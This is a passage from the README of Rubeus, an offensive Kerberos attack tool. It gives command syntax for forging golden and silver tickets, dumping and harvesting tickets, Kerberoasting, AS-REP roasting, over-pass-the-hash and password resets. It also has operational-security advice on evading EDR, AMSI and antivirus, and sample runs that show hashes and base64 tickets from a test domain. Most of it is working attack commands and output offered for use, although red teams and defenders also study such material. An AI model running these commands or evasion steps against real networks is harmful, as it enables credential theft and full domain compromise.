[/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a golden ticket, setting values explicitly: + Rubeus.exe golden [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/newpac] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information: + Rubeus.exe silver /ldap [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information, using the KRBTGT key to calculate the KDCChecksum and TicketChecksum: + Rubeus.exe silver /ldap [/krbenctype:DES|RC4|AES128|AES256] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information but explicitly overriding some values: + Rubeus.exe silver /ldap [/dc:DOMAIN_CONTROLLER] [/domain:DOMAIN] [/netbios:NETBIOS_DOMAIN] [/sid:DOMAIN_SID] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information and including an S4U Delegation Info PAC section: + Rubeus.exe silver /ldap [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket using LDAP to gather the relevent information and setting a different cname and crealm: + Rubeus.exe silver /ldap [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/printcmd] [outfile:FILENAME] [/ptt] + + Forge a silver ticket, setting values explicitly: + Rubeus.exe silver [/dc:DOMAIN_CONTROLLER] [/netbios:NETBIOS_DOMAIN] [/dispalyname:PAC_FULL_NAME] [/badpwdcount:INTEGER] [/flags:TICKET_FLAGS] [/uac:UAC_FLAGS] [/groups:GROUP_IDS] [/pgid:PRIMARY_GID] [/homedir:HOMEDIR] [/homedrive:HOMEDRIVE] [/id:USER_ID] [/logofftime:LOGOFF_TIMESTAMP] [/lastlogon:LOGON_TIMESTAMP] [/logoncount:INTEGER] [/passlastset:PASSWORD_CHANGE_TIMESTAMP] [/maxpassage:RELATIVE_TO_PASSLASTSET] [/minpassage:RELATIVE_TO_PASSLASTSET] [/profilepath:PROFILE_PATH] [/scriptpath:LOGON_SCRIPT_PATH] [/sids:EXTRA_SIDS] [[/resourcegroupsid:RESOURCEGROUPS_SID] [/resourcegroups:GROUP_IDS]] [/authtime:AUTH_TIMESTAMP] [/starttime:Start_TIMESTAMP] [/endtime:RELATIVE_TO_STARTTIME] [/renewtill:RELATIVE_TO_STARTTIME] [/rangeend:RELATIVE_TO_STARTTIME] [/rangeinterval:RELATIVE_INTERVAL] [/authdata] [/cname:CLIENTNAME] [/crealm:CLIENTDOMAIN] [/s4uproxytarget:TARGETSPN] [/s4utransitedservices:SPN1,SPN2,...] [/printcmd] [outfile:FILENAME] [/ptt] + + + Ticket management: + + Submit a TGT, optionally targeting a specific LUID (if elevated): + Rubeus.exe ptt [/luid:LOGINID] + + Purge tickets from the current logon session, optionally targeting a specific LUID (if elevated): + Rubeus.exe purge [/luid:LOGINID] + + Parse and describe a ticket (service ticket or TGT): + Rubeus.exe describe [/servicekey:HASH] [/krbkey:HASH] [/asrepkey:HASH] [/serviceuser:USERNAME] [/servicedomain:DOMAIN] + + + Ticket extraction and harvesting: + + Triage all current tickets (if elevated, list for all users), optionally targeting a specific LUID, username, or service: + Rubeus.exe triage [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] + + List all current tickets in detail (if elevated, list for all users), optionally targeting a specific LUID: + Rubeus.exe klist [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] + + Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID: + Rubeus.exe dump [/luid:LOGINID] [/user:USER] [/service:krbtgt] [/server:BLAH.DOMAIN.COM] [/nowrap] + + Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation: + Rubeus.exe tgtdeleg [/target:SPN] + + Monitor every /interval SECONDS (default 60) for new TGTs: + Rubeus.exe monitor [/interval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] + + Monitor every /monitorinterval SECONDS (default 60) for new TGTs, auto-renew TGTs, and display the working cache every /displayinterval SECONDS (default 1200): + Rubeus.exe harvest [/monitorinterval:SECONDS] [/displayinterval:SECONDS] [/targetuser:USER] [/nowrap] [/registry:SOFTWARENAME] [/runfor:SECONDS] + + + Roasting: + + Perform Kerberoasting: + Rubeus.exe kerberoast [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap] + + Perform Kerberoasting, outputting hashes to a file: + Rubeus.exe kerberoast /outfile:hashes.txt [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] + + Perform Kerberoasting, outputting hashes in the file output format, but to the console: + Rubeus.exe kerberoast /simple [[/spn:"blah/blah"] | [/spns:C:\temp\spns.txt]] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap] + + Perform Kerberoasting with alternate credentials: + Rubeus.exe kerberoast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap] + + Perform Kerberoasting with an existing TGT: + Rubeus.exe kerberoast [/nowrap] + + Perform Kerberoasting with an existing TGT using an enterprise principal: + Rubeus.exe kerberoast /enterprise [/nowrap] + + Perform Kerberoasting with an existing TGT and automatically retry with the enterprise principal if any fail: + Rubeus.exe kerberoast /autoenterprise [/ldaps] [/nowrap] + + Perform Kerberoasting using the tgtdeleg ticket to request service tickets - requests RC4 for AES accounts: + Rubeus.exe kerberoast /usetgtdeleg [/ldaps] [/nowrap] + + Perform "opsec" Kerberoasting, using tgtdeleg, and filtering out AES-enabled accounts: + Rubeus.exe kerberoast /rc4opsec [/ldaps] [/nowrap] + + List statistics about found Kerberoastable accounts without actually sending ticket requests: + Rubeus.exe kerberoast /stats [/ldaps] [/nowrap] + + Perform Kerberoasting, requesting tickets only for accounts with an admin count of 1 (custom LDAP filter): + Rubeus.exe kerberoast /ldapfilter:'admincount=1' [/ldaps] [/nowrap] + + Perform Kerberoasting, requesting tickets only for accounts whose password was last set between 01-31-2005 and 03-29-2010, returning up to 5 service tickets: + Rubeus.exe kerberoast /pwdsetafter:01-31-2005 /pwdsetbefore:03-29-2010 /resultlimit:5 [/ldaps] [/nowrap] + + Perform Kerberoasting, with a delay of 5000 milliseconds and a jitter of 30%: + Rubeus.exe kerberoast /delay:5000 /jitter:30 [/ldaps] [/nowrap] + + Perform AES Kerberoasting: + Rubeus.exe kerberoast /aes [/ldaps] [/nowrap] + + Perform AS-REP "roasting" for any users without preauth: + Rubeus.exe asreproast [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] [/nowrap] + + Perform AS-REP "roasting" for any users without preauth, outputting Hashcat format to a file: + Rubeus.exe asreproast /outfile:hashes.txt /format:hashcat [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."] [/ldaps] + + Perform AS-REP "roasting" for any users without preauth using alternate credentials: + Rubeus.exe asreproast /creduser:DOMAIN.FQDN\USER /credpassword:PASSWORD [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU,..."] [/ldaps] [/nowrap] + + + Miscellaneous: + + Create a hidden program (unless /show is passed) with random /netonly credentials, displaying the PID and LUID: + Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" [/show] + + Reset a user's password from a supplied TGT (AoratoPw): + Rubeus.exe changepw /new:PASSWORD [/dc:DOMAIN_CONTROLLER] [/targetuser:DOMAIN\USERNAME] + + Calculate rc4_hmac, aes128_cts_hmac_sha1, aes256_cts_hmac_sha1, and des_cbc_md5 hashes: + Rubeus.exe hash /password:X [/user:USER] [/domain:DOMAIN] + + Substitute an sname or SPN into an existing service ticket: + Rubeus.exe tgssub /altservice:ldap [/ptt] [/luid] [/nowrap] + Rubeus.exe tgssub /altservice:cifs/computer.domain.com [/ptt] [/luid] [/nowrap] + + Display the current user's LUID: + Rubeus.exe currentluid + + The "/consoleoutfile:C:\FILE.txt" argument redirects all console output to the file specified. + + The "/nowrap" flag prevents any base64 ticket blobs from being column wrapped for any function. + + + NOTE: Base64 ticket blobs can be decoded with : + + [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("aa...")) + + +### Opsec Notes + +This section covers some notes on the operational security of using Rubeus in an environment, with some technical examples comparing/contrasting some of its approaches to Mimikatz. The material here will be expanded in the future. + +#### Overview + +Any action you perform on a system is a detectable risk, especially when abusing functionality in "weird"/unintended ways. Rubeus (like any attacker toolset) can be detected in a number of methods, either from the host, network, or domain perspectives. I have a workmate who is fond of stating _"everything is stealthy until someone is looking for it"_ - tools and techniques generally evade detection because either a) people are not sufficiently aware of the tool/technique and therefore not even looking, b) people can not collect and process the data needed at the appropriate scale, or c) the tool/technique blends with existing behavior to sufficiently sneak in with false positives in an environment. There is much more information on these steps and detection subversion in general in [Matt Graeber](https://twitter.com/mattifestation) and [Lee Christensen](https://twitter.com/tifkin_)’s Black Hat USA 2018 [“Subverting Sysmon”](https://i.blackhat.com/us-18/Wed-August-8/us-18-Graeber-Subverting-Sysmon-Application-Of-A-Formalized-Security-Product-Evasion-Methodology.pdf) talk and associated [whitepaper](https://specterops.io/assets/resources/Subverting_Sysmon.pdf). + +From the host perspective, Rubeus can be caught during initial [weaponization](#weaponization) of the code itself, by an abnormal (non-lsass.exe) process issuing raw Kerberos port 88 traffic, through the use of sensitive APIs like LsaCallAuthenticationPackage(), or by abnormal tickets being present on the host (e.g. rc4\_hmac use in tickets in a modern environment). + +From a network or domain controller log perspective, since Rubeus implements many parts of the normal Kerberos protocol, the main detection method involves the use of rc4\_hmac in Kerberos exchanges. Modern Windows domains (functional level 2008 and above) use AES encryption by default in normal Kerberos exchanges (with a few exceptions like inter-realm trust tickets). Using a rc4\_hmac (NTLM) hash is used in a Kerberos exchange instead of a aes256\_cts\_hmac\_sha1 (or aes128) key results in some signal that is detectable at the host level, network level (if Kerberos traffic is parsed), and domain controller event log level, sometimes known as "encryption downgrade". + +#### Weaponization + +One common way attack tools are detected is through the weaponization vector for the code. If Rubeus is run [through PowerShell](#sidenote-running-rubeus-through-powershell) (this includes Empire) the standard PowerShell V5 protections all apply (deep script block logging, AMSI, etc.). If Rubeus is executed as a binary on disk, standard AV signature detection comes into play (part of why we [do not release](#compile-instructions) compiled versions of Rubeus, as brittle signatures are silly ; ). If Rubeus is used as a [library](#sidenote-building-rubeus-as-a-library) then it's susceptible to whatever method the primary tool uses to get running. And if Rubeus is run through unmanaged assembly execution (like Cobalt Strike's `execute_assembly`) cross-process code injection is performed and the CLR is loaded into a potentially non-.NET process, though this signal is present for the execution of any .NET code using this method. + +Also, AMSI (the Antimalware Scan Interface) has been [added to .NET 4.8](https://blogs.msdn.microsoft.com/dotnet/2018/11/28/announcing-net-framework-4-8-early-access-build-3694/). [Ryan Cobb](https://twitter.com/cobbr_io) has additional details on the offensive implications of this in the **Defense** section of his [“Entering a Covenant: .NET Command and Control”](https://posts.specterops.io/entering-a-covenant-net-command-and-control-e11038bcf462) post. + +#### Example: Credential Extraction + +Say we have elevated access on a machine and want to extract user credentials for reuse. + +Mimikatz is the swiss army knife of credential extraction, with multiple options. The `sekurlsa::logonpasswords` command will open up a [read handle to LSASS](https://github.com/gentilkiwi/mimikatz/blob/a0f243b33590751a77b6d6f275313a4fe8d42c82/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c#L168), enumerate logon sessions present on the system, walk the default authentication packages for each logon session, and extract any reverseable password/credential material present. **Sidenote**: the `sekurlsa::ekeys` command will enumerate ALL key types present for the Kerberos package. + +Rubeus doesn't have any code to touch LSASS (and none is intended), so its functionality is limited to extracting Kerberos tickets through use of the LsaCallAuthenticationPackage() API. From a non-elevated standpoint, the session keys for TGTs are not returned (by default) so only service tickets extracted will be usable (the **tgtdeleg** command uses a Kekeo trick to get a usable TGT for the current user). If in a high-integrity context, a [GetSystem](https://github.com/GhostPack/Rubeus/blob/4c9145752395d48a73faf326c4ae57d2c565be7f/Rubeus/lib/Helpers.cs#L55-L107) equivalent utilizing token duplication is run to elevate to SYSTEM, and a fake logon application is registered with the LsaRegisterLogonProcess() API call. This allows for privileged enumeration and extraction of all tickets currently registered with LSA on the system, resulting in base64 encoded .kirbi's being output for later reuse. + +Mimikatz can perform the same base64 .kirbi extraction with the following series of commands: + + mimikatz # privilege::debug + mimikatz # token::elevate + mimikatz # standard::base64 /output:true + mimikatz # kerberos::list /export + +Mimikatz can also carve tickets directly out of LSASS' memory with: + + mimikatz # privilege::debug + mimikatz # standard::base64 /output:true + mimikatz # sekurlsa::tickets /export + +As "everything is stealthy until someone is looking for it", it's arguable whether LSASS manipulation or ticket extraction via the LsaCallAuthenticationPackage() API call is more "stealthy". Due to Mimikatz' popularity, opening up a handle to LSASS and reading/writing its memory has become a big target for EDR detection and/or prevention. However, LsaCallAuthenticationPackage() is used by a fairly limited set of processes, and creating a fake logon application with LsaRegisterLogonProcess() is also fairly anomalous behavior. However full API level introspection and baselining appears to be a more difficult technical problem than LSASS protection. + +#### Example: Over-pass-the-hash + +Say we recover a user's rc4\_hmac hash (NTLM) and want to reuse this credential to compromise an additional machine where the user account has privileged access. + +**Sidenote:** pass-the-hash != over-pass-the-hash. The traditional pass-the-hash technique involves reusing a hash through the NTLMv1/NTLMv2 protocol, which doesn't touch Kerberos at all. The over-pass-the-hash approach was developed by [Benjamin Delpy](https://twitter.com/gentilkiwi) and [Skip Duckwall](https://twitter.com/passingthehash) (see their ["Abusing Microsoft Kerberos - Sorry you guys don't get it"](https://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it/18) presentation for more information). This approach turns a hash/key (rc4\_hmac, aes256\_cts\_hmac\_sha1, etc.) for a domain-joined user into a fully-fledged ticket-granting-ticket (TGT). + +Let's compare "over-passing-the-hash" via Mimikatz' `sekurlsa::pth` command verus using the `asktgt` command from Rubeus (or [Kekeo](https://github.com/gentilkiwi/kekeo/) if you'd like). + +When `sekurlsa::pth` is used to over-pass-the-hash, Mimikatz first creates a new [logon type 9 process](https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/mimikatz/modules/sekurlsa/kuhl_m_sekurlsa.c#L926) with dummy credentials - this creates a new "sacrificial" logon session that doesn't interact with the current logon session. It then opens the LSASS process with the ability to write to process memory, and the supplied hash/key is then [patched into the appropriate section](https://github.com/gentilkiwi/mimikatz/blob/a0f243b33590751a77b6d6f275313a4fe8d42c82/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_kerberos.c#L566-L600) for the associated logon session (in this case, the "sacrificial" logon session that was started). This causes the normal Kerberos authentication process to kick off as normal as if the user had normally logged on, turning the supplied hash into a fully-fledged TGT. + +When Rubeus' `asktgt` command is run (or Kekeo's equivalent), the raw Kerberos protocol is used to request a TGT, which is then applied to the current logon session if the `/ptt` flag is passed. + +With the Mimikatz approach, administrative rights are needed as you are manipulating LSASS memory directly. As previously mentioned, Mimikatz' popularity has also led to this type of behavior (opening up a handle to LSASS and reading/writing its memory) being a big target for EDR detection and/or prevention. With the Rubeus/Kekeo approach, administrative rights are not needed as LSASS is not being touched. However, if the ticket is applied to the current logon session (with `/ptt`), the TGT for the current logon session will be overwritten. This behavior can be avoided (with administrative access) by using the `/createnetonly` command to create a sacrificial process/logon session, then using `/ptt /ticket:X /luid:0xa..` with the newly created process LUID. If using Cobalt Strike, using the **make\_token** command with dummy credentials and then **kerberos\_ticket\_use** with the ticket retrieved by Rubeus will let you apply the new TGT in a way that a) doesn't need administrative rights and b) doesn't stomp on the current logon session TGT. + +It is our opinion that the LSASS manipulation approach is more likely (at the current moment) to be detected or mitigated due to the popularity of the technique. However the Rubeus approach does result in another piece of detectable behavior. Kerberos traffic to port 88 should normally only originate from lsass.exe - sending raw traffic of this type from an abnormal process could be detectable if the information can be gathered. + +**Sidenote**: one way _both_ approaches can potentially be caught is the previously mentioned "encryption downgrade" detection. To retrieve AES keys, use Mimikatz' `sekurlsa::ekeys` module to return ALL Kerberos encryption keys (same with `lsadump::dcsync`) which are better to use when trying to evade some detections. + + +## Ticket requests and renewals + +Breakdown of the ticket request commands: + +| Command | Description | +| ----------- | ----------- | +| [asktgt](#asktgt) | Request a ticket-granting-ticket (TGT) from a hash/key or password | +| [asktgs](#asktgs) | Request a service ticket from a passed TGT | +| [renew](#renew) | Renew (or autorenew) a TGT or service ticket | +| [brute](#brute) | Perform a Kerberos-based password bruteforcing attack. 'spray' can also be used instead of 'brute' | + + +### asktgt + +The **asktgt** action will build raw AS-REQ (TGT request) traffic for the specified user and encryption key (`/rc4`, `/aes128`, `/aes256`, or `/des`). A `/password` flag can also be used instead of a hash - in this case `/enctype:X` will default to RC4 for the exchange, with `des|aes128|aes256` as options. If no `/domain` is specified, the computer's current domain is extracted, and if no `/dc` is specified the same is done for the system's current domain controller. If authentication is successful, the resulting AS-REP is parsed and the KRB-CRED (a .kirbi, which includes the user's TGT) is output as a base64 blob. The `/ptt` flag will "pass-the-ticket" and apply the resulting Kerberos credential to the current logon session. The `/luid:0xA..` flag will apply the ticket to the specified logon session ID (elevation needed) instead of the current logon session. + +Note that no elevated privileges are needed on the host to request TGTs or apply them to the **current** logon session, just the correct hash for the target user. Also, another opsec note: only one TGT can be applied at a time to the current logon session, so the previous TGT is wiped when the new ticket is applied when using the `/ptt` option. A workaround is to use the `/createnetonly:C:\X.exe` parameter (which hides the process by default unless the `/show` flag is specified), or request the ticket and apply it to another logon session with `ptt /luid:0xA..`. + +By default, several differences exists between AS-REQ's generated by Rubeus and genuine AS-REQ's. To form AS-REQ's more inline with genuine requests, the `/opsec` flag can be used, this will send an initial AS-REQ without pre-authentication first, if this succeeds, the resulting AS-REP is decrypted and TGT return, otherwise an AS-REQ with pre-authentication is then sent. As this flag is intended to make Rubeus traffic more stealthy, it cannot by default be used with any encryption type other than `aes256` and will just throw a warning and exit if another encryption type is used. To allow for other encryption types to be used with the `/opsec` changes, the `/force` flag exists. + +PKINIT authentication is supported with the `/certificate:X` argument. When the private key within the PFX file is password protected, this password can be passed with the `/password:X` argument. When using PKINIT authentication the `/getcredentials` flag can be used to automatically request a U2U service ticket and retrieve the account NT hash. + +Requesting a TGT without a PAC can be done using the `/nopac` switch. + +Requesting a ticket via RC4 hash for **dfm.a@testlab.local**, applying it to the current logon session: + + C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe /ptt + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.4.1 + + [*] Action: Ask TGT + + [*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a' + [+] TGT request successful! + [*] base64(ticket.kirbi): + + doIFmjCCBZagAwIBBaEDAgEWooIErzCCBKthggSnMIIEo6ADAgEFoQ8bDVRFU1RMQUIuTE9DQUyiIjAg + oAMCAQKhGTAXGwZrcmJ0Z3QbDXRlc3RsYWIubG9jYWyjggRlMIIEYaADAgESoQMCAQKiggRTBIIETwrl + zIpKjTT11eteJCn+0rtlKwtTW/8XvoWXy61rOCrOIo16YPiMe4usXoJaOqsvCydMgd6955hT+IoFMyGG + VfVxetoM1Oa5aPA2sfzJeogn4RpFBoY5vjjKBzPaTJptPRX7Wjg0o1FTszJET4mhQyLKxQMgprKcc2mz + yniQzGPI19O95aSoPpNar+4lKlyBsL4QjSEeBdZQ2/Ab1JVu3eh1xCsWkKUUlabbzeZwo8SG0QkZ0DKk + qOD8hx5wbQ+w8emcLvHMIrmg1xO2OPngK76C3daeiS59UVADSz/n3H7Tfuk+EXSdZ8DC4/c8KIZvHsC6 + cO/ymVFxyuRJLg7VThl8keZmbWzYei6xAwH7mUAUEA1lk0pEHx12nAHcKILsbS3F9wAcHMNEGe/Xa3UK + INJ0q+JvdJpCPo/wgyu7wjKgsdpgUV0siVfpGaxG7yh6s3U2tAlBWnWdGF/Gy/FkOk/hJxhTTHcHa5XE + LTaXY9cnraee+llJqmOnHfjPa5+XNTnVtBZjT0SPRnSXfdPG5BgiXYlCjr5ykhF8MdVE1Se+WtEZJuPj + lYrCtWo2oEjBbYMb3YGTcWh5+oWNY1QdxSpyFc8IDQOTOCnQ+nsQf78phU7svTBm0b5AqqPD/olz1RYm + f4qR+90TcASaQGwHUQbpFnLb2U9BHwNS+SlRwafFT5qlTmXaqoQMMjknospm0+v0U8hd8KbZ4jwK2hM+ + vE74bOiAMdjTf5YLDorRyuFUoa7oIaJZTXxsLmqZsBCsUnH5etXTb9vHj7Dl27wyP9snRHIWuE8Rdo9Z + zAJK6PESaBcUqhKqkjWLUKDuT2+SCduPVF6+3QJB0xLJrwXKp/MiV418H/pHRoy6JkKKw2m1bw45P8Az + l54g75WJqEiAzj/+I64TUfbEFJtd9OHujAKzjMMiKRQKwTKR1Jfb6gTrv6K0GCTJ15W84DeWc47jTutE + HbWxuKib3niTTM5YcHZcN6h/V8Zef8r4fdhY20xGCwqlT9X5md96+647bRq/AZDtiAEaVAH5f3QTQen8 + o6XpVqSoZxRASEs3oKFfNunBFJ+QxOL4A47iO1JH0wlM7L2Vx+QeDMfqUh3i9S71YBLdHtPflo8ivmNS + gf0dIeAE2rHRNQn+q7vvrl4r/Bxy3CikzBWnq9Nff8vUJmZ0MQBc4mBpykuuFtLuEJOELdUzW4uCF/9a + JffKDnWk0lIDymImtxqTO0Y/mk0zEQ7RZNUIR3vtrNSO84CjZ/YFYCIdIR5wCzztPSZ0RH7C4lVueBO5 + ZoDiWYvPuOQsZHkP2XD+GQtu0hN6MOfLOKGVmNrKs1KRfWhbqnTQudjFSkvgHlgjIslKJDa6WzmSQhdW + fPIA9ggjCmQtyB6seiYi9LdJuQ+GiiF2UphTEJ+a5DR6rGYbg4hhd+ru2Z8Lt5rBojliLnedafyZJ15t + alU+n8aNdIPXfVmsR3caTXkncNBlo4HWMIHToAMCAQCigcsEgch9gcUwgcKggb8wgbwwgbmgGzAZoAMC + ARehEgQQ+zY8adXi2NuvkAxl1ohUOKEPGw1URVNUTEFCLkxPQ0FMohIwEKADAgEBoQkwBxsFZGZtLmGj + BwMFAEDhAAClERgPMjAxOTAyMjUyMzA2MDdaphEYDzIwMTkwMjI2MDQwNjA3WqcRGA8yMDE5MDMwNDIz + MDYwN1qoDxsNVEVTVExBQi5MT0NBTKkiMCCgAwIBAqEZMBcbBmtyYnRndBsNdGVzdGxhYi5sb2NhbA== + + [*] Action: Import Ticket + [+] Ticket successfully imported! + + [*] Action: Describe Ticket + + UserName : dfm.a + UserRealm : TESTLAB.LOCAL + ServiceName : krbtgt/testlab.local + ServiceRealm : TESTLAB.LOCAL + StartTime : 2/25/2019 3:06:07 PM + EndTime : 2/25/2019 8:06:07 PM + RenewTill : 3/4/2019 3:06:07 PM + Flags : name_canonicalize, pre_authent, initial, renewable, forwardable + KeyType : rc4_hmac + Base64(key) : +zY8adXi2NuvkAxl1ohUOA== + + +Requesting a ticket via aes256_hmac hash for **dfm.a@testlab.local**, starting a new hidden process and applying the ticket to that logon session. **Note: elevation needed!** + + C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /domain:testlab.local /aes256:e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 /createnetonly:C:\Windows\System32\cmd.exe + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v1.3.3 + + + [*] Action: Create Process (/netonly) + + [*] Showing process : False + [+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9 + [+] ProcessID : 7564 + [+] LUID : 0x3c4c241 + + [*] Action: Ask TGT + + [*] Using aes256_cts_hmac_sha1 hash: e27b2e7b39f59c3738813a9ba8c20cd5864946f179c80f60067f5cda59c3bd27 + [*] Target LUID : 63226433 + [*] Using domain controller: PRIMARY.testlab.local (192.168.52.100) + [*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a' + [*] Connecting to 192.168.52.100:88 + [*] Sent 234 bytes + [*] Received 1620 bytes + [+] TGT request successful! + [*] base64(ticket.kirbi): + + doIFujCCBbagAwIBBaEDAgEWooIEvzCCBL...(snip)... + + [*] Action: Import Ticket + [*] Target LUID: 0x3c4c241 + [+] Ticket successfully imported! + +**Note that the /luid and /createnetonly parameters require elevation!** + +Requesting a ticket using a certificate and using `/getcredentials` to retrieve the NT hash: + + C:\Rubeus>Rubeus.exe asktgt /user:harmj0y /domain:rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /getcredentials /certificate:MIIR3QIB...(snip)...QI/GZmyPRFEeE= + + ______ _ + (_____ \ | | + _____) )_ _| |__ _____ _ _ ___ + | __ /| | | | _ \| ___ | | | |/___) + | | \ \| |_| | |_) ) ____| |_| |___ | + |_| |_|____/|____/|_____)____/(___/ + + v2.0.0 + + [*] Action: Ask TGT + + [*] Using PKINIT with etype rc4_hmac and subject: CN=Harm J0y, CN=Users, DC=rubeus, DC=ghostpack, DC=local + [*] Building AS-REQ (w/ PKINIT preauth) for: 'rubeus.ghostpack.local\harmj0y' + [+] TGT request successful! + [*] base64(ticket.kirbi): + + doIF9DCCBfCgAwIBBaEDAgEWooIE7DCCBOhhggTkMIIE4KADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su + ...(snip)... + YnRndBsWcnViZXVzLmdob3N0cGFjay5sb2NhbA== + + ServiceName : krbtgt/rubeus.ghostpack.local + ServiceRealm : RUBEUS.GHOSTPACK.LOCAL + UserName : harmj0y + UserRealm : RUBEUS.GHOSTPACK.LOCAL + StartTime : 14/07/2021 02:25:33 + EndTime : 14/07/2021 12:25:33 + RenewTill : 21/07/2021 02:25:33 + Flags : name_canonicalize, pre_authent, initial, renewable, forwardable + KeyType : rc4_hmac + Base64(key) 